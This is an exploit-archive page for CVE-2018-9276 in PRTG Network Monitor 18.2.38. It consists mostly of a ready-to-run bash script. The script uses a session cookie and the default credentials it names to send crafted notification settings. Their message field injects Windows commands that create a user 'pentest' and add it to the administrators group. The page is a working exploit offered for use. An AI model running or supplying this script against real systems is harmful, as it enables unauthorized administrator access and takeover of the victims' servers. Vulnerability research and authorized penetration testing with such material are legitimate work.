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PRTG Network Monitor 18.2.38 Remote Code Execution

PRTG Network Monitor 18.2.38 Remote Code Execution
Posted Mar 11, 2019
Authored by M4LV0

PRTG Network Monitor version 18.2.38 authenticated remote code execution exploit.

tags | exploit, remote, code execution
advisories | CVE-2018-9276
MD5 | 2b06f9eabbc967f98e8aa874f74fd388

PRTG Network Monitor 18.2.38 Remote Code Execution

Change Mirror Download
#!/bin/bash
echo -e "\n\e[00;33m[+]#########################################################################[+] \e[00m"
echo -e "\e[00;32m[*] Authenticated PRTG network Monitor remote code execution [*] \e[00m"
echo -e "\e[00;33m[+]#########################################################################[+] \e[00m"
echo -e "\e[00;32m[*] Date: 11/03/2019 [*] \e[00m"
echo -e "\e[00;33m[+]#########################################################################[+] \e[00m"
echo -e "\e[00;32m[*] Author: https://github.com/M4LV0 lorn3m4lvo@protonmail.com [*] \e[00m"
echo -e "\e[00;33m[+]#########################################################################[+] \e[00m"
echo -e "\e[00;32m[*] Vendor Homepage: https://www.paessler.com/prtg [*] \e[00m"
echo -e "\e[00;32m[*] Version: 18.2.38 [*] \e[00m"
echo -e "\e[00;32m[*] CVE: CVE-2018-9276 [*] \e[00m"
echo -e "\e[00;32m[*] Reference: https://www.codewatch.org/blog/?p=453 [*] \e[00m"
echo -e "\e[00;33m[+]#########################################################################[+] \e[00m"
echo -e "\n\e[00;32m# login to the app, default creds are prtgadmin/prtgadmin. once athenticated grab your cookie and use it with the script.\n# run the script to create a new user 'pentest' in the administrators group with password 'P3nT3st!' \e[00m\n"
echo -e "\e[00;33m[+]#########################################################################[+] \e[00m"


usage()
{
echo -e '\e[00;35m EXAMPLE USAGE:\e[00m\e[00;32m ./prtg-exploit.sh -u http://10.10.10.10 -c "_ga=GA1.4.XXXXXXX.XXXXXXXX; _gid=GA1.4.XXXXXXXXXX.XXXXXXXXXXXX; OCTOPUS1813713946=XXXXXXXXXXXXXXXXXXXXXXXXXXXXX; _gat=1" \e[00m\n'
}

create_file()
{
data="name_=create_file&tags_=&active_=1&schedule_=-1%7CNone%7C&postpone_=1&comments=&summode_=2&summarysubject_=%5B%25sitename%5D+%25summarycount+Summarized+Notifications&summinutes_=1&accessrights_=1&accessrights_=1&accessrights_201=0&active_1=0&addressuserid_1=-1&addressgroupid_1=-1&address_1=&subject_1=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&contenttype_1=text%2Fhtml&customtext_1=&priority_1=0&active_17=0&addressuserid_17=-1&addressgroupid_17=-1&message_17=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_8=0&addressuserid_8=-1&addressgroupid_8=-1&address_8=&message_8=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_2=0&eventlogfile_2=application&sender_2=PRTG+Network+Monitor&eventtype_2=error&message_2=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_13=0&sysloghost_13=&syslogport_13=514&syslogfacility_13=1&syslogencoding_13=1&message_13=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_14=0&snmphost_14=&snmpport_14=162&snmpcommunity_14=&snmptrapspec_14=0&messageid_14=0&message_14=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&senderip_14=&active_9=0&url_9=&urlsniselect_9=0&urlsniname_9=&postdata_9=&active_10=0&active_10=10&address_10=Demo+EXE+Notification+-+OutFile.bat&message_10=%22C%3A%5CUsers%5CPublic%5Ctester.txt%22&windowslogindomain_10=&windowsloginusername_10=&windowsloginpassword_10=&timeout_10=60&active_15=0&accesskeyid_15=&secretaccesskeyid_15=&arn_15=&subject_15=&message_15=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_16=0&isusergroup_16=1&addressgroupid_16=200%7CPRTG+Administrators&ticketuserid_16=100%7CPRTG+System+Administrator&subject_16=%25device+%25name+%25status+%25down+(%25message)&message_16=Sensor%3A+%25name%0D%0AStatus%3A+%25status+%25down%0D%0A%0D%0ADate%2FTime%3A+%25datetime+(%25timezone)%0D%0ALast+Result%3A+%25lastvalue%0D%0ALast+Message%3A+%25message%0D%0A%0D%0AProbe%3A+%25probe%0D%0AGroup%3A+%25group%0D%0ADevice%3A+%25device+(%25host)%0D%0A%0D%0ALast+Scan%3A+%25lastcheck%0D%0ALast+Up%3A+%25lastup%0D%0ALast+Down%3A+%25lastdown%0D%0AUptime%3A+%25uptime%0D%0ADowntime%3A+%25downtime%0D%0ACumulated+since%3A+%25cumsince%0D%0ALocation%3A+%25location%0D%0A%0D%0A&autoclose_16=1&objecttype=notification&id=new&targeturl=%2Fmyaccount.htm%3Ftabid%3D2"
fireone=$(curl -s -H "Referer: $url/editnotification.htm?id=new&tabid=1" "X-Requested-With: XMLHttpRequest" -X POST --data "$data" --cookie "$cookie" $url/editsettings)
# use bat file; save file to C:\Users\Public\tester.txt change accordingly
echo "$fireone"
echo -e "\e[00;32m [*] file created \e[00m"
}
ex_notify_1()
{
for i in range {0..50}; do
fireone=$(curl -s -H "Referer: $url/myaccount.htm?tabid=2" "X-Requested-With: XMLHttpRequest" -X POST --data "id=20$i" --cookie "$cookie" $url/api/notificationtest.htm)
# find the id value usually starts at 20.. but may need to change range accordingly
done
echo -e "\e[00;32m [*] sending notification wait....\e[00m"
}

create_user()
{
data2="name_=create_user&tags_=&active_=1&schedule_=-1%7CNone%7C&postpone_=1&comments=&summode_=2&summarysubject_=%5B%25sitename%5D+%25summarycount+Summarized+Notifications&summinutes_=1&accessrights_=1&accessrights_=1&accessrights_201=0&active_1=0&addressuserid_1=-1&addressgroupid_1=-1&address_1=&subject_1=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&contenttype_1=text%2Fhtml&customtext_1=&priority_1=0&active_17=0&addressuserid_17=-1&addressgroupid_17=-1&message_17=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_8=0&addressuserid_8=-1&addressgroupid_8=-1&address_8=&message_8=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_2=0&eventlogfile_2=application&sender_2=PRTG+Network+Monitor&eventtype_2=error&message_2=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_13=0&sysloghost_13=&syslogport_13=514&syslogfacility_13=1&syslogencoding_13=1&message_13=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_14=0&snmphost_14=&snmpport_14=162&snmpcommunity_14=&snmptrapspec_14=0&messageid_14=0&message_14=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&senderip_14=&active_9=0&url_9=&urlsniselect_9=0&urlsniname_9=&postdata_9=&active_10=0&active_10=10&address_10=Demo+EXE+Notification+-+OutFile.ps1&message_10=%22C%3A%5CUsers%5CPublic%5Ctester.txt%3Bnet+user+pentest+P3nT3st!+%2Fadd%22&windowslogindomain_10=&windowsloginusername_10=&windowsloginpassword_10=&timeout_10=60&active_15=0&accesskeyid_15=&secretaccesskeyid_15=&arn_15=&subject_15=&message_15=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_16=0&isusergroup_16=1&addressgroupid_16=200%7CPRTG+Administrators&ticketuserid_16=100%7CPRTG+System+Administrator&subject_16=%25device+%25name+%25status+%25down+(%25message)&message_16=Sensor%3A+%25name%0D%0AStatus%3A+%25status+%25down%0D%0A%0D%0ADate%2FTime%3A+%25datetime+(%25timezone)%0D%0ALast+Result%3A+%25lastvalue%0D%0ALast+Message%3A+%25message%0D%0A%0D%0AProbe%3A+%25probe%0D%0AGroup%3A+%25group%0D%0ADevice%3A+%25device+(%25host)%0D%0A%0D%0ALast+Scan%3A+%25lastcheck%0D%0ALast+Up%3A+%25lastup%0D%0ALast+Down%3A+%25lastdown%0D%0AUptime%3A+%25uptime%0D%0ADowntime%3A+%25downtime%0D%0ACumulated+since%3A+%25cumsince%0D%0ALocation%3A+%25location%0D%0A%0D%0A&autoclose_16=1&objecttype=notification&id=new&targeturl=%2Fmyaccount.htm%3Ftabid%3D2"
firetwo=$(curl -s -H "Referer: $url/editnotification.htm?id=new&tabid=1" "X-Requested-With: XMLHttpRequest" -X POST --data "$data2" --cookie "$cookie" $url/editsettings)
# use ps1 script to execute code; adding a new user with username pentest and password P3nT3st!
echo "$firetwo"
echo -e "\e[00;32m [*] adding a new user 'pentest' with password 'P3nT3st' \e[00m"
}

ex_notify_2()
{
for i in range {0..50}; do
fire2=$(curl -s -H "Referer: $url/myaccount.htm?tabid=2" "X-Requested-With: XMLHttpRequest" -X POST --data "id=20$i" --cookie "$cookie" $url/api/notificationtest.htm)
# find the id value usually starts at 20.. but may need to change range accordingly
done
echo -e "\e[00;32m [*] sending notification wait....\e[00m"
}

add_user_admin()
{
data3="name_=user_admin&tags_=&active_=1&schedule_=-1%7CNone%7C&postpone_=1&comments=&summode_=2&summarysubject_=%5B%25sitename%5D+%25summarycount+Summarized+Notifications&summinutes_=1&accessrights_=1&accessrights_=1&accessrights_201=0&active_1=0&addressuserid_1=-1&addressgroupid_1=-1&address_1=&subject_1=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&contenttype_1=text%2Fhtml&customtext_1=&priority_1=0&active_17=0&addressuserid_17=-1&addressgroupid_17=-1&message_17=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_8=0&addressuserid_8=-1&addressgroupid_8=-1&address_8=&message_8=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_2=0&eventlogfile_2=application&sender_2=PRTG+Network+Monitor&eventtype_2=error&message_2=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_13=0&sysloghost_13=&syslogport_13=514&syslogfacility_13=1&syslogencoding_13=1&message_13=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_14=0&snmphost_14=&snmpport_14=162&snmpcommunity_14=&snmptrapspec_14=0&messageid_14=0&message_14=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&senderip_14=&active_9=0&url_9=&urlsniselect_9=0&urlsniname_9=&postdata_9=&active_10=0&active_10=10&address_10=Demo+EXE+Notification+-+OutFile.ps1&message_10=%22C%3A%5CUsers%5CPublic%5Ctester.txt%3Bnet+localgroup+administrators+%2Fadd+pentest%22&windowslogindomain_10=&windowsloginusername_10=&windowsloginpassword_10=&timeout_10=60&active_15=0&accesskeyid_15=&secretaccesskeyid_15=&arn_15=&subject_15=&message_15=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)&active_16=0&isusergroup_16=1&addressgroupid_16=200%7CPRTG+Administrators&ticketuserid_16=100%7CPRTG+System+Administrator&subject_16=%25device+%25name+%25status+%25down+(%25message)&message_16=Sensor%3A+%25name%0D%0AStatus%3A+%25status+%25down%0D%0A%0D%0ADate%2FTime%3A+%25datetime+(%25timezone)%0D%0ALast+Result%3A+%25lastvalue%0D%0ALast+Message%3A+%25message%0D%0A%0D%0AProbe%3A+%25probe%0D%0AGroup%3A+%25group%0D%0ADevice%3A+%25device+(%25host)%0D%0A%0D%0ALast+Scan%3A+%25lastcheck%0D%0ALast+Up%3A+%25lastup%0D%0ALast+Down%3A+%25lastdown%0D%0AUptime%3A+%25uptime%0D%0ADowntime%3A+%25downtime%0D%0ACumulated+since%3A+%25cumsince%0D%0ALocation%3A+%25location%0D%0A%0D%0A&autoclose_16=1&objecttype=notification&id=new&targeturl=%2Fmyaccount.htm%3Ftabid%3D2"
firethree=$(curl -s -H "Referer: $url/editnotification.htm?id=new&tabid=1" "X-Requested-With: XMLHttpRequest" -X POST --data "$data3" --cookie "$cookie" $url/editsettings)
echo "$firethree"
echo -e "\e[00;32m [*] adding a user pentest to the administrators group \e[00m"
}

ex_notify_3()
{
for i in range {0..50}; do
fire3=$(curl -s -H "Referer: $url/myaccount.htm?tabid=2" "X-Requested-With: XMLHttpRequest" -X POST --data "id=20$i" --cookie "$cookie" $url/api/notificationtest.htm)
# find the id value usually starts at 20.. but may need to change range accordingly
done
echo -e "\e[00;32m [*] sending notification wait....\e[00m"
echo -e "\n\n\e[00;32m [*] exploit completed new user 'pentest' with password 'P3nT3st!' created have fun! \e[00m"
}

if [[ $# -eq 0 ]] ; then
usage
exit 0
fi

while getopts "hu:c:" option; do
case "${option}" in
c) cookie=${OPTARG};;
h) usage;;
u) url=${OPTARG};;
*) usage; exit;;
esac
done

create_file
ex_notify_1
sleep 3
create_user
ex_notify_2
sleep 3
add_user_admin
ex_notify_3

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